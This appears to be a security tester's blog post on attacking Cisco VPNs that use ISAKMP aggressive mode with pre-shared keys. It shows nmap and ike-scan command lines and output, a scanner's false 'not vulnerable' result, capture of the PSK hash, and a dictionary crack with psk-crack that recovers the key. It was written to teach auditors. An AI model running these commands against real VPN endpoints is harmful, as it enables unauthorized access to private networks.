ISAKMP hacking – How much should we trust our tools?

During a VPN testing project we looked a bit deeper into the security vulnerability caused by ISAKMP aggressive mode. To put things simple, the important fact for us is that assuming pre-shared key authentication and possession of a valid userid makes it possible to obtain the valid encrypted PSK. During the tests I used Cisco network equipment and the Cisco VPN Configuration Guide. First I discovered the open ISAKMP VPN port on the target system:

Initiating Service scan at 11:11Scanning 1 service on 192.168.2.5Completed Service scan at 11:13, 82.57s elapsed (1 service on 1 host)NSE: Script scanning 192.168.2.5.Initiating NSE at 11:13Completed NSE at 11:13, 30.08s elapsedNmap scan report for 192.168.2.5Host is up (0.0035s latency).PORT STATE SERVICE VERSION500/udp open isakmp?Read data files from: /usr/local/bin/../share/nmapService detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 113.26 secondsRaw packets sent: 5 (372B) | Rcvd: 2 (272B)

I created a short script to collect the cryptographic settings of the connection:

root@s2crew:~/bin# ./ike-crypt-transforms.sh 192.168.2.5Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.11 hosts/sec). 1 returned handshake; 0 returned notifySupported: 5,2,1,2Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.37 hosts/sec). 1 returned handshake; 0 returned notifySupported: 5,2,65001,2

The settings supported by the CISCO device can be seen below:

Encryption algorithms:: Triple-DESHash algorithms:: MD5Authentication methods: Pre-Shared Key/Hybrid Mode and XAUTHDiffie-Hellman groups: 2

I used the ikeprobe.exe application to detect whether the service was vulnerable. The result of the tests showed the target environment was not vulnerable:

root@s2crew:~/bin# wine ikeprobe.exe 192.168.2.5IKEProbe 0.1beta (c) 2003 Michael Thumann (www.ernw.de)Portions Copyright (c) 2003 Cipherica Labs (www.cipherica.com)Read license-cipherica.txt for LibIKE License InformationIKE Aggressive Mode PSK Vulnerability Scanner (Bugtraq ID 7423)Supported AttributesCiphers : DES, 3DES, AES-128, CASTHashes : MD5, SHA1Diffie Hellman Groups: DH Groups 1,2 and 5IKE Proposal for Peer: 192.168.2.5Aggressive Mode activated ......Attribute Settings:Cipher CASTHash MD5Diffie Hellman Group 58.251 3: ph1_initiated(00443ee0, 00449178)8.283 3: << ph1 (00443ee0, 340)System not vulnerable, Attribute mismatch or not authorized Peer.

The above statement was not true. Fortunately I knew a valid ID for the VPN connection that helped me to perform the attack:

root@s2crew:~/bin# ike-scan -A --trans=5,2,1,2 --id=vpnclient -Ppsk.txt 192.168.2.5Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)192.168.2.5 Aggressive Mode Handshake returned HDR=(CKY-R=576568d95df504bb) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) VID=a2a2cfc45df404bbeb2e7a5d49fd39fd VID=09002689dfd6b712 (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.2.5) Nonce(20 bytes) Hash(20 bytes)Ending ike-scan 1.9: 1 hosts scanned in 0.047 seconds (21.07 hosts/sec). 1 returned handshake; 0 returned notify

I performed a dictionary attack against the PSK hash:

root@s2crew:~/bin# psk-crack -d /root/depth4.dic psk.txtStarting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/)Running in dictionary cracking modekey "cisco123" matches SHA1 hash 07746c280f597b19b274499f771d0589ad26fce8Ending psk-crack: 280320 iterations in 1.730 seconds (161992.45 iterations/sec)

Below is the part of the VPN configuration that made the device vulnerable:

crypto isakmp policy 3encr 3desauthentication pre-sharegroup 2!crypto isakmp client configuration group vpnclientkey cisco123dns 10.10.10.10wins 10.10.10.20domain silentsignal.eupool ippoolacl 101!!crypto ipsec transform-set myset esp-3des esp-md5-hmac!

When we perform a security audit, we have to take the power and limits of the tools used for testing into account. A good tester never trusts the result of any security testing tool blindly, and understands the issue under investigation.